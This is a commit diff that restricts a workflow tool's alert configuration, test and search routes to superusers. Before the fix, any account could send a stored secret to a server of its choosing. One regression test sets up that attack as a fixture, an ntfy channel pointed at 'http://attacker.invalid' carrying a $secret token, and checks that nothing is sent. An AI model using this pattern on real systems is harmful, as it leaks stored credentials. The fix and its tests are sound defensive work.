Alerts: configuration, test and search entries are a superuser's; subscribing a browser stays open
Any signed-in account could save an ntfy channel with its own `server` and a
`{"$secret": ...}` token and press Test, which sent the stored secret to that
host. The config GET/PUT, the test route and the global search's alert entries
now answer to superusers, like /secrets. The webpush key and subscribe routes
stay open to every account, and the Alerts page shows a non-superuser only the
button for its own browser. The events table in the docs gains run_finished.
This commit is contained in:
@@ -7,15 +7,27 @@ from fastapi import APIRouter, Depends, HTTPException
|
||||
from fastapi.concurrency import run_in_threadpool
|
||||
from pydantic import BaseModel
|
||||
|
||||
from fluksio.api.deps import FlowControllerDep, get_current_user
|
||||
from fluksio.api.deps import (
|
||||
FlowControllerDep,
|
||||
get_current_active_superuser,
|
||||
get_current_user,
|
||||
)
|
||||
from fluksio.core.config import settings
|
||||
from fluksio.flow import webpush
|
||||
from fluksio.flow.alerts import Alert, AlertsConfig
|
||||
from fluksio.models import Message
|
||||
|
||||
# Reading or changing where alerts go is a superuser's: a channel setting may
|
||||
# hold a `{"$secret": ...}` reference that `send` resolves, and the url or
|
||||
# server beside it is the sender's to choose, so an ordinary account could
|
||||
# point a stored credential at a host of its own and press Test. The topic of
|
||||
# an ntfy channel and a webhook's url are credentials too, so reading is gated
|
||||
# as well. Subscribing a browser stays open to every account: it only says
|
||||
# where *this* device can be reached.
|
||||
router = APIRouter(
|
||||
prefix="/alerts", tags=["alerts"], dependencies=[Depends(get_current_user)]
|
||||
)
|
||||
SUPERUSER = [Depends(get_current_active_superuser)]
|
||||
|
||||
|
||||
def _path() -> Path:
|
||||
@@ -41,13 +53,13 @@ def write_config(config: AlertsConfig) -> None:
|
||||
path.write_text(config.model_dump_json(indent=2))
|
||||
|
||||
|
||||
@router.get("/config", response_model=AlertsConfig)
|
||||
@router.get("/config", response_model=AlertsConfig, dependencies=SUPERUSER)
|
||||
async def read_alerts_config() -> Any:
|
||||
"""What the engine alerts on, and where it sends it."""
|
||||
return await run_in_threadpool(read_config)
|
||||
|
||||
|
||||
@router.put("/config", response_model=AlertsConfig)
|
||||
@router.put("/config", response_model=AlertsConfig, dependencies=SUPERUSER)
|
||||
async def save_alerts_config(body: AlertsConfig, controller: FlowControllerDep) -> Any:
|
||||
"""Replace the configuration. Takes effect immediately."""
|
||||
known = {channel.name for channel in body.channels}
|
||||
@@ -95,7 +107,7 @@ async def remove_webpush_subscription(body: Unsubscribe) -> Any:
|
||||
return Message(message="This browser will no longer be notified")
|
||||
|
||||
|
||||
@router.post("/test/{channel_name}", response_model=Message)
|
||||
@router.post("/test/{channel_name}", response_model=Message, dependencies=SUPERUSER)
|
||||
async def test_channel(channel_name: str, controller: FlowControllerDep) -> Any:
|
||||
"""Send one alert, to prove the channel works before relying on it."""
|
||||
if controller.alerts is None:
|
||||
|
||||
@@ -252,10 +252,12 @@ def _build(
|
||||
for worker in (hub.workers() if hub is not None else [])
|
||||
)
|
||||
|
||||
entries.extend(
|
||||
SearchEntry(category="alert", name=channel.name, kind=channel.kind)
|
||||
for channel in read_alerts_config().channels
|
||||
)
|
||||
# Named only to a superuser, like the secrets: `/alerts` answers to them.
|
||||
if secrets:
|
||||
entries.extend(
|
||||
SearchEntry(category="alert", name=channel.name, kind=channel.kind)
|
||||
for channel in read_alerts_config().channels
|
||||
)
|
||||
|
||||
return entries
|
||||
|
||||
@@ -273,7 +275,8 @@ async def read_search_index(
|
||||
instance of any ordinary size, so one fetch when the panel opens beats a
|
||||
round trip per keystroke — and the client already has a matcher.
|
||||
|
||||
Secrets are named only to a superuser, which is who ``/secrets`` answers to.
|
||||
Secrets and alert channels are named only to a superuser, which is who
|
||||
``/secrets`` and ``/alerts`` answer to.
|
||||
"""
|
||||
# Absent when remote workers are switched off — not a reason to fail a search.
|
||||
hub = getattr(request.app.state, "worker_hub", None)
|
||||
|
||||
@@ -64,3 +64,79 @@ def test_an_unknown_channel_is_a_404(
|
||||
response = client.post(f"{PREFIX}/test/nowhere", headers=superuser_token_headers)
|
||||
|
||||
assert response.status_code == 404
|
||||
|
||||
|
||||
def test_an_ordinary_account_cannot_read_or_change_the_alert_setup(
|
||||
client: TestClient, normal_user_token_headers: dict[str, str]
|
||||
) -> None:
|
||||
"""Channels hold credential references, topics and urls: a superuser's."""
|
||||
config = {"channels": [], "rules": []}
|
||||
|
||||
assert (
|
||||
client.get(f"{PREFIX}/config", headers=normal_user_token_headers).status_code
|
||||
== 403
|
||||
)
|
||||
assert (
|
||||
client.put(
|
||||
f"{PREFIX}/config", headers=normal_user_token_headers, json=config
|
||||
).status_code
|
||||
== 403
|
||||
)
|
||||
assert (
|
||||
client.post(
|
||||
f"{PREFIX}/test/phone", headers=normal_user_token_headers
|
||||
).status_code
|
||||
== 403
|
||||
)
|
||||
|
||||
|
||||
def test_a_stored_secret_cannot_be_pointed_at_a_host_an_ordinary_account_chose(
|
||||
client: TestClient,
|
||||
superuser_token_headers: dict[str, str],
|
||||
normal_user_token_headers: dict[str, str],
|
||||
monkeypatch: pytest.MonkeyPatch,
|
||||
) -> None:
|
||||
"""An ntfy `server` plus a `$secret` token used to send the secret there."""
|
||||
import httpx
|
||||
|
||||
client.put(
|
||||
f"{settings.API_V1_STR}/secrets/vault-token",
|
||||
headers=superuser_token_headers,
|
||||
json={"value": "S3CRET"},
|
||||
)
|
||||
reached: list[str] = []
|
||||
|
||||
async def post(_self: Any, url: Any, **_kwargs: Any) -> httpx.Response:
|
||||
reached.append(str(url))
|
||||
return httpx.Response(200, request=httpx.Request("POST", url))
|
||||
|
||||
monkeypatch.setattr(httpx.AsyncClient, "post", post)
|
||||
config = {
|
||||
"channels": [
|
||||
{
|
||||
"name": "x",
|
||||
"kind": "ntfy",
|
||||
"config": {
|
||||
"server": "http://attacker.invalid",
|
||||
"topic": "t",
|
||||
"token": {"$secret": "vault-token"},
|
||||
},
|
||||
}
|
||||
],
|
||||
"rules": [],
|
||||
}
|
||||
|
||||
client.put(f"{PREFIX}/config", headers=normal_user_token_headers, json=config)
|
||||
client.post(f"{PREFIX}/test/x", headers=normal_user_token_headers)
|
||||
|
||||
assert reached == []
|
||||
|
||||
|
||||
def test_any_account_can_subscribe_its_own_browser(
|
||||
client: TestClient, normal_user_token_headers: dict[str, str]
|
||||
) -> None:
|
||||
"""Where this device can be reached is not a superuser's to hold."""
|
||||
response = client.get(f"{PREFIX}/webpush/key", headers=normal_user_token_headers)
|
||||
|
||||
assert response.status_code == 200
|
||||
assert response.json()["key"]
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
from typing import Any
|
||||
|
||||
import pytest
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
from fluksio.api.routes.search import MASK, setting_text
|
||||
@@ -190,3 +191,24 @@ def test_index_lists_a_nodes_settings(
|
||||
assert found["hook.secret"]["detail"] == "secret"
|
||||
assert "hook_secret" not in text
|
||||
assert "s3cr3t-value" not in text
|
||||
|
||||
|
||||
def test_alert_channels_are_named_only_to_a_superuser(
|
||||
client: TestClient,
|
||||
superuser_token_headers: dict[str, str],
|
||||
normal_user_token_headers: dict[str, str],
|
||||
tmp_path: Any,
|
||||
monkeypatch: pytest.MonkeyPatch,
|
||||
) -> None:
|
||||
from fluksio.api.routes.alerts import write_config
|
||||
from fluksio.flow.alerts import AlertsConfig, Channel
|
||||
|
||||
monkeypatch.setattr(settings, "ALERTS_FILE", tmp_path / "alerts.json")
|
||||
write_config(AlertsConfig(channels=[Channel(name="phone", kind="ntfy")]))
|
||||
|
||||
def channels(headers: dict[str, str]) -> set[str]:
|
||||
entries = client.get(f"{PREFIX}/", headers=headers).json()
|
||||
return {e["name"] for e in entries if e["category"] == "alert"}
|
||||
|
||||
assert channels(superuser_token_headers) == {"phone"}
|
||||
assert channels(normal_user_token_headers) == set()
|
||||
|
||||
+4
-1
@@ -220,8 +220,11 @@ reclaiming space sooner.
|
||||
| `POST` | `/modules/apply` | replace the manifest with `{"requirements": "numpy>=2\n"}` |
|
||||
| `GET`, `PUT` | `/alerts/config` | read or update alert configuration |
|
||||
| `POST` | `/alerts/test/{channel}` | test a channel |
|
||||
| `GET` | `/alerts/webpush/key` | the key a browser subscribes against; any account |
|
||||
| `POST` | `/alerts/webpush/subscriptions`, `/alerts/webpush/unsubscribe` | add or remove the calling browser; any account |
|
||||
|
||||
Secrets and package changes require a superuser. Applying a manifest replaces
|
||||
Secrets, package changes and the alert configuration require a superuser. Any
|
||||
account can subscribe its own browser. Applying a manifest replaces
|
||||
the whole managed environment's package list. Adopted environments are read-only
|
||||
here; install their packages yourself.
|
||||
|
||||
|
||||
@@ -50,7 +50,9 @@ with `fluksio-worker --python /path/to/venv/bin/python`. See
|
||||
## Alerts
|
||||
|
||||
Create a channel, choose events in a rule, and use **Test** to check delivery.
|
||||
Enable alerts for the rules to send.
|
||||
Enable alerts for the rules to send. Channels and rules belong to superusers,
|
||||
whose Alerts page holds them. Any other account sees only the button that
|
||||
subscribes its own browser to a **webpush** channel.
|
||||
|
||||
### Channels
|
||||
|
||||
@@ -79,6 +81,7 @@ matches every supported alert event, including future additions.
|
||||
| `engine_degraded` | engine health degrades |
|
||||
| `cascade_dropped` | the engine drops work |
|
||||
| `queue_unavailable` | the work queue becomes unreachable |
|
||||
| `run_finished` | a batch run ends in error |
|
||||
|
||||
Repeated faults are deduplicated with a 15-minute default cooldown.
|
||||
Flapping connections are suppressed, and the engine caps alert dispatches at
|
||||
|
||||
@@ -2975,7 +2975,8 @@ export class SearchService {
|
||||
* instance of any ordinary size, so one fetch when the panel opens beats a
|
||||
* round trip per keystroke — and the client already has a matcher.
|
||||
*
|
||||
* Secrets are named only to a superuser, which is who ``/secrets`` answers to.
|
||||
* Secrets and alert channels are named only to a superuser, which is who
|
||||
* ``/secrets`` and ``/alerts`` answer to.
|
||||
* @returns SearchEntry Successful Response
|
||||
* @throws ApiError
|
||||
*/
|
||||
|
||||
@@ -17,6 +17,7 @@ import {
|
||||
SelectValue,
|
||||
} from "@/components/ui/select"
|
||||
import { Switch } from "@/components/ui/switch"
|
||||
import useAuth from "@/hooks/useAuth"
|
||||
import useCustomToast from "@/hooks/useCustomToast"
|
||||
import * as webpush from "@/lib/webpush"
|
||||
import { handleError } from "@/utils"
|
||||
@@ -152,9 +153,14 @@ function ThisBrowser() {
|
||||
}
|
||||
|
||||
function Alerts() {
|
||||
// Channels and rules are a superuser's: `/alerts/config` answers to them.
|
||||
// Every account can still subscribe the browser in front of it.
|
||||
const { user } = useAuth()
|
||||
const mayConfigure = Boolean(user?.is_superuser)
|
||||
const { data } = useQuery({
|
||||
queryKey: alertsKey,
|
||||
queryFn: () => AlertsService.readAlertsConfig(),
|
||||
enabled: mayConfigure,
|
||||
})
|
||||
|
||||
return (
|
||||
@@ -162,10 +168,23 @@ function Alerts() {
|
||||
<div className="grid gap-1">
|
||||
<h1 className="text-2xl">Alerts</h1>
|
||||
<p className="text-sm text-muted-foreground">
|
||||
Where the engine goes when something breaks.
|
||||
{mayConfigure
|
||||
? "Where the engine goes when something breaks."
|
||||
: "Hear from the engine on this device when something breaks."}
|
||||
</p>
|
||||
</div>
|
||||
{data ? <AlertsForm initial={data} /> : null}
|
||||
{mayConfigure ? (
|
||||
data ? (
|
||||
<AlertsForm initial={data} />
|
||||
) : null
|
||||
) : user ? (
|
||||
<div
|
||||
className="rounded-lg border border-border bg-card p-4 shadow-e1"
|
||||
data-testid="this-browser"
|
||||
>
|
||||
<ThisBrowser />
|
||||
</div>
|
||||
) : null}
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user